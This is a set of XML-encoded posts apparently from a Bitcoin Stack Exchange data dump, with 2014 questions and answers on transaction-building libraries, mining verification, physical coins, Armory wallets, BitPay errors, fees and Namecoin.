  <row Id="30551" PostTypeId="2" ParentId="30550" CreationDate="2014-09-17T06:32:24.727" Score="2" Body="&lt;p&gt;I think that &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;PyCoin&lt;/a&gt; would serve your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/tests/tx_utils_test.py&quot; rel=&quot;nofollow&quot;&gt;This test case shows how to construct a transaction.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/tests/key_translation_test.py&quot; rel=&quot;nofollow&quot;&gt;This test case shows how to use Wallet Import Format with PyCoin.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to note that this is not a very good idea. Suppose that your input is actually 20 BTC instead of 10. What will happen is that Bitcoin will interpret the extra 10 BTC as a fee to be collected by the miner.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-17T06:32:24.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30552" PostTypeId="1" CreationDate="2014-09-17T10:35:22.863" Score="-1" ViewCount="238" Body="&lt;p&gt;I understand that &quot;mining&quot; for bitcoins requires your computer to do work that you don't monitor, so my question is, how do you know what it is that your computer is doing?  Has anyone verified what it is your computer is actually doing while it mines for bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="19380" LastEditorUserId="5406" LastEditDate="2016-03-31T16:09:00.180" LastActivityDate="2016-03-31T16:09:00.180" Title="Has anyone verified what your CPU is being used to do when it &quot;mines&quot; for bitcoins?" Tags="|proof-of-work|mining-technical-details|" AnswerCount="1" CommentCount="2" ClosedDate="2014-09-17T18:56:02.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="30553" PostTypeId="2" ParentId="30552" CreationDate="2014-09-17T10:38:34.260" Score="3" Body="&lt;p&gt;Yes, it is verified. If you wouldn't do the work requested by the proof-of-work then you wouldn't be able to obtain the block reward. Therefore the fact that you're rewarded by the system means you're doing the work. If you're a programmer you can also read the code of the program you're using to mine, and verify for yourself that it's actually doing the proof-of-work.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-09-17T10:38:34.260" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30555" PostTypeId="2" ParentId="30550" CreationDate="2014-09-17T11:01:22.853" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Vitalik_Buterin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vitalik Buterin&lt;/a&gt; has recently shared &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pybitcointools&lt;/a&gt;, a nice and simple-to-use Python library for handcrafting Bitcoin transactions. &lt;a href=&quot;https://github.com/vbuterin/pybitcointools#example-usage-best-way-to-learn--&quot; rel=&quot;nofollow noreferrer&quot;&gt;The example&lt;/a&gt; shows the basic workflow, which is pretty much what you have described in your example (just broken down to few more steps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more help, &lt;a href=&quot;http://whatdoesthequantsay.com/2014/05/04/bitcoin-transactions-technically-part-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;this nice article&lt;/a&gt; explains bitcoin transactions technically and shows examples using the &lt;strong&gt;Pybitcointools&lt;/strong&gt; library.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2017-01-23T15:45:41.703" LastActivityDate="2017-01-23T15:45:41.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30556" PostTypeId="1" CreationDate="2014-09-17T11:02:00.010" Score="2" ViewCount="166" Body="&lt;p&gt;Is it possible to buy a prop of one of the &quot;bitcoins&quot; you often see in pictures? Does anyone actually make physical &quot;bitcoins?&quot; I collect weird iconic things.&lt;/p&gt;&#xA;" OwnerUserId="19380" LastEditorUserId="5406" LastEditDate="2014-10-02T15:39:53.680" LastActivityDate="2014-10-02T15:39:53.680" Title="Is it possible to buy a prop of one of the &quot;bitcoins&quot; you often see in the pictures?" Tags="|physical-coins|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30557" PostTypeId="2" ParentId="30556" CreationDate="2014-09-17T11:38:44.567" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Casascius_physical_bitcoins&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt; made physical coins with a private key attached (hidden with similar technology to scratch lottery cards). They were &lt;a href=&quot;http://www.theverge.com/2013/12/13/5207256/casascius-maker-of-shiny-physical-bitcoins-shut-down-by-treasury&quot; rel=&quot;nofollow&quot;&gt;shut down&lt;/a&gt; in 2013 by the USA Treasury. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other companies who make &lt;a href=&quot;https://www.google.com.au/search?q=physical%20bitcoins&amp;amp;rlz=1C9BKJA_enAU590AU590&amp;amp;oq=physical%20bitcoins&amp;amp;aqs=chrome..69i57j0l3&amp;amp;sourceid=chrome-mobile&amp;amp;espv=1&amp;amp;ie=UTF-8&amp;amp;hl=en-US&quot; rel=&quot;nofollow&quot;&gt;physical Bitcoins&lt;/a&gt; but I cannot vouch for the services personally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's memorabilia then a &quot;used&quot; coin is no problem. However it was possible to use non-polar solvent through an insulin syringe to peel back the Casascius safety seal to see the private keys &lt;em&gt;without showing signs of tampering&lt;/em&gt;. This means it may be an issue to pay for ฿1 and find later your coins were stolen since your private key is known. If you buy a coin with ฿ associated with a Casascius coin private key I'd immediately transfer it to a &quot;safe&quot; address.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-18T22:00:21.323" LastActivityDate="2014-09-18T22:00:21.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30558" PostTypeId="2" ParentId="30550" CreationDate="2014-09-17T12:47:06.353" Score="15" Body="&lt;p&gt;In case you have not seen it, there is a good (IMHO) article which describes how to generate a transaction &quot;manually&quot; using &quot;raw&quot; python (no bitcoin libs or RPC): &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot;&gt;&#xA;&quot;Bitcoins the hard way: Using the raw Bitcoin protocol&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4667" LastActivityDate="2014-09-17T12:47:06.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30559" PostTypeId="1" AcceptedAnswerId="30560" CreationDate="2014-09-17T14:03:03.570" Score="0" ViewCount="152" Body="&lt;p&gt;I am stuck in this thought for a while regarding the block generation rate. My concern is, when a payer waits for 10 minutes to confirm that her transaction is included in a block, it suggests that a new block is generated in 10 minutes, because her transaction is brand new and the block includes it. So, how does a miner do that in just 10 minutes? Isn't it supposed to be hard? The miner can then become a millionaire in months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the block generation rate imply that, once a miner starts computing the proof-of-work(POW) she succeeds in getting the nonce after 10 minutes? Or is it the case that miners are computing POW at their own pace(probably for a long enough time) and 1 new block pops up every 10 minutes. If the 2nd scenario is true, how does it justify the waiting time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19182" LastActivityDate="2014-09-17T14:36:40.527" Title="Significance of average block generation rate" Tags="|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30560" PostTypeId="2" ParentId="30559" CreationDate="2014-09-17T14:36:40.527" Score="1" Body="&lt;p&gt;The block &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; is adjusted every 2016 blocks so that, on average, it takes 10 minutes for miners to generate a new block. It would take any individual miner much longer than 10 minutes to compute the proof-of-work, but all miners together should be able to compute the proof-of-work in roughly 10 minutes. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2014-09-17T14:36:40.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30561" PostTypeId="2" ParentId="11390" CreationDate="2014-09-17T16:36:10.337" Score="0" Body="&lt;p&gt;The Bitcoin Payment Protocol (BIP70-72) allows fetching a payment request from a URL (and other sources), and has several advantages over using addresses directly in a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a user's perspective, it looks like a pay-to-URL, bypassing the need for the user to see the actual addresses involved.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-09-17T16:36:10.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30562" PostTypeId="1" CreationDate="2014-09-17T16:55:10.543" Score="0" ViewCount="861" Body="&lt;p&gt;Is there a fairly simple way to include a standard-looking but not too elaborate &quot;Bitcoin accepted here&quot; logo in a LaTeX document?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2014-10-17T20:47:42.870" Title="Bitcoin logo in LaTeX?" Tags="|bitcoin-logo|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30563" PostTypeId="2" ParentId="30562" CreationDate="2014-09-17T20:00:36.163" Score="1" Body="&lt;p&gt;Yeah, check out this &lt;a href=&quot;https://tex.stackexchange.com/questions/201597/how-to-create-a-bitcoin-accepted-here-button&quot;&gt;answer on tex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% arara: lualatex&#xA;&#xA;\documentclass{article}&#xA;\usepackage{fontspec}&#xA;\usepackage{fontawesome}&#xA;\def\faBtc{\FA\symbol{&quot;F15A}}&#xA;\usepackage{tikz}&#xA;\usetikzlibrary&#xA;&#xA;{positioning}&#xA;\newcommand{\bitcoin}{%&#xA;    \begin{tikzpicture}&#xA;\foreach \i in {0,100}{&#xA;    \node [circle, fill=orange!90!white!\i, font=\large, inner sep=0.25ex, rotate=-15, text=white] &#xA;    (symbol) at (-1.25,1/8+\i/4000) {\faBtc};}&#xA;    \end{tikzpicture}}&#xA;\usepackage{mathtools}&#xA;\usepackage{siunitx}&#xA;\DeclareSIUnit{\btc}{\ifmmode\text{\faBtc}\else\faBtc\fi}&#xA;&#xA;\begin{document}&#xA;\SI{1000000}{\btc}&#xA;\bitcoin&#xA;\end{document}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-09-17T20:00:36.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30564" PostTypeId="2" ParentId="6086" CreationDate="2014-09-17T20:30:25.657" Score="0" Body="&lt;p&gt;Armory wallet allows this, and it doesn't compromise the security of the wallet at all. It &lt;em&gt;does&lt;/em&gt; compromise the integrity of your backups tho. Deterministic wallets are useful because you can make a single backup right at the start (before using it) and it will be a good backup forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, unless you import addresses from somewhere else. Those new addresses won't be in your old backup, so you have to make a new backup at that point. &lt;/p&gt;&#xA;" OwnerUserId="5254" LastActivityDate="2014-09-17T20:30:25.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30565" PostTypeId="1" AcceptedAnswerId="30711" CreationDate="2014-09-17T20:33:44.667" Score="4" ViewCount="232" Body="&lt;p&gt;I see that in Armory, I can click on &quot;receive bitcoins&quot; any number of times, and it generates a new as-yet unused address every time. So I could potentially send coins to address 1000, and have 999 unused addresses before it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering, when you import a deterministic wallet,  how many of the addresses does it check to see if they have activity? &lt;/p&gt;&#xA;" OwnerUserId="5254" LastActivityDate="2014-09-29T04:17:28.493" Title="If I import/restore a deterministic wallet into Bitcoin Armory, how far into the dynamic addresses does it look for transactions?" Tags="|wallet|armory|deterministic-wallets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30566" PostTypeId="1" AcceptedAnswerId="30820" CreationDate="2014-09-17T22:40:42.507" Score="0" ViewCount="800" Body="&lt;p&gt;One can find lots of logos on the internet that say &quot;Bitcoin accepted here&quot;.  In some contexts, including, but not limited to, selling things over the internet, it seems appropriate to omit that last word and just say &quot;Bitcoin accepted&quot;.  Are there some of those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9uaE.png&quot; alt=&quot;original&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="2306" LastEditDate="2015-02-07T20:55:39.770" LastActivityDate="2017-10-26T08:32:58.753" Title="Logo: &quot;Bitcoin accepted&quot; but not &quot;here&quot;" Tags="|bitcoin-logo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30568" PostTypeId="1" CreationDate="2014-09-18T04:40:01.460" Score="2" ViewCount="82" Body="&lt;p&gt;I would like to know whether it is possible for farmers to use Bitcoin to exchange good and services without ever using other money. We are trying to build a network between local farmers and would like to use Bitcoin in exchange for our services.&lt;/p&gt;&#xA;&lt;p&gt;Looking forward to hearing from you.&lt;/p&gt;&#xA;" OwnerUserId="19383" LastEditorUserId="5406" LastEditDate="2021-01-25T14:14:56.467" LastActivityDate="2021-01-25T14:14:56.467" Title="farmers quest to exchange goods and services" Tags="|payment|adoption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30569" PostTypeId="1" CreationDate="2014-09-18T06:11:08.563" Score="3" ViewCount="2211" Body="&lt;p&gt;I need to circulate money between exchanges automatically. I want to transfer cryptocurrency (BTC, LTC) between exchanges. I find that these exchanges have API calls for withdrawal options: Cryptsy, Poloniex, Bitstamp, Bittrex and Bleutrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to implement this for the exchanges which does not provide withdrawal options via API? I also want to transfer USD between exchanges. Can I implement it programmatically i.e via API?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="12634" LastEditDate="2014-09-18T07:17:57.760" LastActivityDate="2020-10-04T03:14:23.807" Title="Automatic transfer of funds between exchanges" Tags="|exchanges|currencies|withdrawal|arbitrage|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30570" PostTypeId="1" CreationDate="2014-09-18T09:24:47.377" Score="5" ViewCount="1579" Body="&lt;p&gt;I was looking for answer everywhere.&#xA;Basically is there any way of calculate multi-sig transaction size when the transaction is creating, before the signing procedure? I was trying to find any pattern for that, with no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Informations I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;num of inputs;&lt;/li&gt;&#xA;&lt;li&gt;num of outputs;&lt;/li&gt;&#xA;&lt;li&gt;num of required signatures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will appreciate any clue to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="19385" LastActivityDate="2020-01-16T16:56:40.233" Title="Predict multi signature transaction size" Tags="|transaction-fees|multi-signature|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30571" PostTypeId="1" CreationDate="2014-09-18T10:10:06.750" Score="2" ViewCount="62" Body="&lt;p&gt;Is there a way to prove the ownership of an address without spending bitcoins? I Imagine something like signing some given data with the private key - how much would that weaken the security of the bitcoins behind the Address? Any good read on this topic is welcome!&lt;/p&gt;&#xA;" OwnerUserId="19033" LastEditorUserId="5406" LastEditDate="2014-09-18T21:55:59.627" LastActivityDate="2014-09-18T21:55:59.627" Title="How can one prove the ownership of an address?" Tags="|address|message-signing|ownership|" AnswerCount="0" CommentCount="3" ClosedDate="2014-09-21T08:54:23.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="30572" PostTypeId="1" CreationDate="2014-09-18T11:49:16.960" Score="2" ViewCount="168" Body="&lt;p&gt;I understand that Nxt uses Curve25519 to generate pubkeys for user accounts, however, I can't find a reference that states what which signing algorithm/process is used for transactions and blocks. (Sorry, I also don't have access to the source at the moment.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Nxt sign and validate transactions and blocks?  Note, I'm not interested in discussing POS.  I'm strictly interested in how Nxt signs and verifies its data.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-09-18T17:33:07.477" Title="What is the algorithm used to sign data within Nxt?" Tags="|cryptography|signature|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30573" PostTypeId="1" AcceptedAnswerId="30579" CreationDate="2014-09-18T14:42:32.527" Score="0" ViewCount="821" Body="&lt;p&gt;I'm creating a web app that uses Bitpay for payments. I'm writing it in ruby (but that shouldn't matter), and have a class method &lt;code&gt;bitpay_client&lt;/code&gt; with the body &lt;code&gt;BitPay::Client.new('mYs3cretAPIkey')&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anytime I do &lt;code&gt;BitcoinInvoice.bitpay_client.get(&quot;invoice/#{invoice_id}&quot;)&lt;/code&gt; I get the JSON &lt;code&gt;{&quot;error&quot;: &quot;Invalid token&quot;}&lt;/code&gt; back from the server. In &lt;a href=&quot;https://bitpay.com/downloads/bitpayApi.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitpay's documentation&lt;/a&gt; there's no mention of this message. I'm using the right api key, and I'm sure this is a real invoice. What does this message mean? &lt;/p&gt;&#xA;" OwnerUserId="691" LastEditorUserId="691" LastEditDate="2014-10-20T15:59:11.403" LastActivityDate="2014-10-20T15:59:11.403" Title="What does Bitpay's {&quot;error&quot;: &quot;Invalid token&quot;} mean?" Tags="|bitpay|ruby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30576" PostTypeId="2" ParentId="30572" CreationDate="2014-09-18T17:33:07.477" Score="1" Body="&lt;p&gt;I found the answer.  It uses &lt;a href=&quot;https://bitbucket.org/JeanLucPicard/nxt/src/d9e338ed12c19712bafa3e1ab48c542a7da95939/src/java/nxt/crypto/Curve25519.java?at=master#cl-81&quot; rel=&quot;nofollow&quot;&gt;EC-KCDSA&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-09-18T17:33:07.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30577" PostTypeId="1" CreationDate="2014-09-18T21:53:46.663" Score="2" ViewCount="207" Body="&lt;p&gt;I know you can use various APIs to get the balance for a given bitcoin address, but is there a way to total all the bitcoin that were ever received at a given address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A so-called &quot;transaction history&quot; for a given address?&lt;/p&gt;&#xA;" OwnerUserId="12039" LastActivityDate="2014-12-13T04:34:09.803" Title="Getting all transactions that ever occurred for a bitcoin address" Tags="|transactions|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30578" PostTypeId="2" ParentId="20750" CreationDate="2014-09-18T22:15:14.417" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/CoiniumServ/CoiniumServ&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CoiniumServ/CoiniumServ&lt;/a&gt; is an open source c# pool implementation which could be a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="8899" LastActivityDate="2014-09-18T22:15:14.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30579" PostTypeId="2" ParentId="30573" CreationDate="2014-09-18T22:15:58.117" Score="1" Body="&lt;p&gt;The error was my client connected to the wrong endpoint. This feature was undocumented at the time, but is now &lt;a href=&quot;https://github.com/bitpay/ruby-client#testnet-usage&quot; rel=&quot;nofollow&quot;&gt;clearly documented&lt;/a&gt;. Kudos to Bitpay! &lt;/p&gt;&#xA;" OwnerUserId="691" LastEditorUserId="691" LastEditDate="2014-10-20T15:56:43.587" LastActivityDate="2014-10-20T15:56:43.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30580" PostTypeId="2" ParentId="7161" CreationDate="2014-09-18T23:44:42.727" Score="1" Body="&lt;p&gt;Maybe this was added recently, but I don't think so. You can change the fee in your Bitcoin Core client settings. Go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings -&gt; Options -&gt; Wallet (tab) -&gt; &quot;Pay transaction fee&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set it to 0 and you're good to send fee-less transactions. Keep in mind it may take longer for your transaction to be pulled into the blockchain without a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MqcFI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5254" LastActivityDate="2014-09-18T23:44:42.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30581" PostTypeId="1" AcceptedAnswerId="30603" CreationDate="2014-09-19T01:42:58.993" Score="2" ViewCount="4852" Body="&lt;p&gt;I'm moving my bitcoins to Armory because its deterministic wallets are SO much better for keeping good backups. But bitcoin core didn't make it easy for me to sent all my money - if I specified all of it, it complained that my transaction + the 0.0001 fee I specified was more than my balance (makes sense). But when I specified my balance minus 0.0001, it complained that my transaction + the fee of 0.0002 (which was twice what I specified) was more than my balance. Wtf right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I played around with it til I sent all but a few cents of my balance. So I have 0.000047 BTC left, which isn't a big deal, but it feels wrong to just leave it there to rot. How can i recover those micro bitcoins without losing the whole transaction to a fee? &lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5254" LastEditDate="2014-09-19T18:35:28.123" LastActivityDate="2014-09-24T21:32:17.230" Title="How can I transfer the last little bit from my Bitcoin Core wallet to Armory?" Tags="|bitcoin-core|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30582" PostTypeId="1" AcceptedAnswerId="30585" CreationDate="2014-09-19T03:24:22.190" Score="0" ViewCount="348" Body="&lt;p&gt;I would like to move my Coinbase Two-factor authentication token from one device to another. I cannot find a location on their website to disable TFA once it has been set up, or to move the token to another device. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-09-19T15:37:31.127" Title="How do I reset my TFA token in Coinbase?" Tags="|security|coinbase.com|authentication|two-factor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30584" PostTypeId="1" AcceptedAnswerId="30591" CreationDate="2014-09-19T11:06:59.383" Score="1" ViewCount="357" Body="&lt;p&gt;there is the blockchain.info one for total supply but that very low resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really was a graph of the actual new bitcoin mined on the market on a daily basis because it seems like a strangely elusive number given it's sigificance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's somewhere in the region of 4300 BTC per day, and probably quite stable. The stability itself though would be interesting to chart because it's not going to be perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing all that, the blockchain has this information in it doesn't it. Perhaps I'll have to figure out now to plot it.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2014-09-19T22:09:48.433" LastActivityDate="2014-09-26T08:06:35.613" Title="Where can I find a chart of the daily supply?" Tags="|blockchain|money-supply|shrinking-money-supply|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30585" PostTypeId="2" ParentId="30582" CreationDate="2014-09-19T15:37:31.127" Score="1" Body="&lt;p&gt;You should have the option to remove / change the 2-factor Authentication under Settings &gt;&gt; Personal Details, though this may have changed. My guess is you'll probably need to contact Coinbase support if nothing else has worked so far: &lt;a href=&quot;http://support.coinbase.com/customer/portal/emails/new&quot; rel=&quot;nofollow&quot;&gt;http://support.coinbase.com/customer/portal/emails/new&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3616" LastActivityDate="2014-09-19T15:37:31.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30586" PostTypeId="2" ParentId="30581" CreationDate="2014-09-19T17:24:05.783" Score="3" Body="&lt;p&gt;Re: Bitcoin-QT Core &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your balance showing in BTC may not be the actual amount; is the Blockchain fully synchronised?&lt;/li&gt;&#xA;&lt;li&gt;Your BTC may be spread over several private keys ie addresses in your dat wallet&lt;/li&gt;&#xA;&lt;li&gt;The floating point value may be being rounded to an integer (ie 0.000297 may show up as 0.0003)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd go about it like this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open options under BitcoinQT settings; &lt;/li&gt;&#xA;&lt;li&gt;tick &quot;display addresses in txn list&quot; &amp;amp;&lt;/li&gt;&#xA;&lt;li&gt;&quot;display coin control features&quot;&lt;/li&gt;&#xA;&lt;li&gt;Wait for Blockchain to synchronise &lt;/li&gt;&#xA;&lt;li&gt;Open 'Send' tab &#xA;&lt;ul&gt;&#xA;&lt;li&gt;tick Coin Control Features; &lt;em&gt;inputs&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;choose the input addresses with BTC in them&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fill out Sender address, etc&lt;/li&gt;&#xA;&lt;li&gt;Right click the total BTC being sent; choose &lt;em&gt;copy amount to send after txn fee&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste this figure (BTC being sent minus txn fee) into the &lt;em&gt;Amount&lt;/em&gt; box at the bottom&lt;/li&gt;&#xA;&lt;li&gt;Send to your new address; leave Bitcoin-QT open so it can relay the txn&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-19T17:33:41.677" LastActivityDate="2014-09-19T17:33:41.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30587" PostTypeId="2" ParentId="3644" CreationDate="2014-09-19T22:54:34.103" Score="1" Body="&lt;p&gt;In my opinion, not only the need for allowing as many domain names as possible to be registered was the reason for decreasing the registration price, but also the logic behind the free speech concept hidden also in the bitcoin protocol. In the crypto-currency realm, everyone can pay anyone, thus supporting any project, endeavor or enterprise, without any smallest censorship ever. Translating that into the namecoin system means that owning a domain name cannot be stopped from now on by anybody (because no ICANN is present here to restrict as its will any freedom of users). Let's not forget that a name is a basic right, like the information is a public asset, too. A name is meant to be owned, displayed and associated with a brand or content. If anyone would try to own 5000+ names, without any content, that would &quot;empty&quot; the value of these domain names, will freeze the market for them and will decrease the value perceived or even claimed by that greedy owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine (as an analogy) that someone would own 5000 servers worldwide, trying to extort people in need of a webhost with a large bandwidth and 100% online time. People would simply avoid these servers (if overpriced) and go elsewhere, even host their websites on their Android devices as a last solution :). Creating something as namecoin offered people the freedom, in the meaning that if someone would take over the majority of .bit domains, someone else could create in no time a clone of namecoin, for registering an create .bix domains, then .byte domains and so on (even dot www, if needed!) ... So the cheap option of owning a name is similar to the affordable option of having a license plate on your car. Do you have that car ? The govt will invent new numbers in order to be able to let you register the car with another license plate different than the one of your neighbour. It is very simple. The point is not in just simply owning the names, but the websites that created first time the inside value for a brand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a conclusion, the price is irrelevant, as time as it was just opened a path to almost unlimited supply of domain names !&lt;/p&gt;&#xA;" OwnerUserId="19401" LastActivityDate="2014-09-19T22:54:34.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30588" PostTypeId="2" ParentId="3383" CreationDate="2014-09-20T00:43:30.970" Score="1" Body="&lt;p&gt;Stephen, I would add to what the user linhares answered earlier to your question. Indeed, a two-devices solution would clear the air and in the same time will mitigate the wrongdoings of the staff of the mobile software manufacturer (I'd refer here only to Samsung as you did, too), or even of a possible malware infecting your smartphone. A wearable wallet, like the one suggested by Accelabyte, could be a future solution, when fully developed and released. On one hand, the part of software installed in the smartwatch, connected only by BLE, and controlled exclusively from the &quot;watch side&quot; of the duo, could execute the decryption of keys, issue the raw transactions and then eventually only broadcast them, signed, through bluetooth toward the other end (a smartphone connected to the internet). Each end of the BLE connection would play its separate role, as time as even the barcode requested in order to know the address of recipient can be scanned with the watch camera, too. The major drawback occurred in the process was the update of Gear from Android to Tizen, instead, which changed the established playground of Android with the less mature (and secure) one of Tizen. The second one was the update to KitKat, which affected for unsuspecting users (I would say then the majority of bitcoin users) the feature offered by App Ops application (now working only for rooted smartphones), namely the option of blocking these endless and nasty privileges asked by almost any new app installed from Google play. Both those shelved the Accela's project for a quite long time, as I've heard from someone familiar with the matter. For short, the data container created by Accela would effectively insulate the processes used in spending the coins (think of kinda Knox features, which work separately from the main &quot;Home&quot; apps and data flow inside the same smartphone). Ironically, the most detested version of Gear would be the most fit in order to be used as an almost perfectly secure mobile wallet (no internet, no Tizen, no sim card and also few other special advantages which better to be kept from the public). So, the answer to the question could be Yes -- for people less than paranoid :) --, but difficult to achieve, because bitcoin world is still in its infancy.&lt;/p&gt;&#xA;" OwnerUserId="19401" LastActivityDate="2014-09-20T00:43:30.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
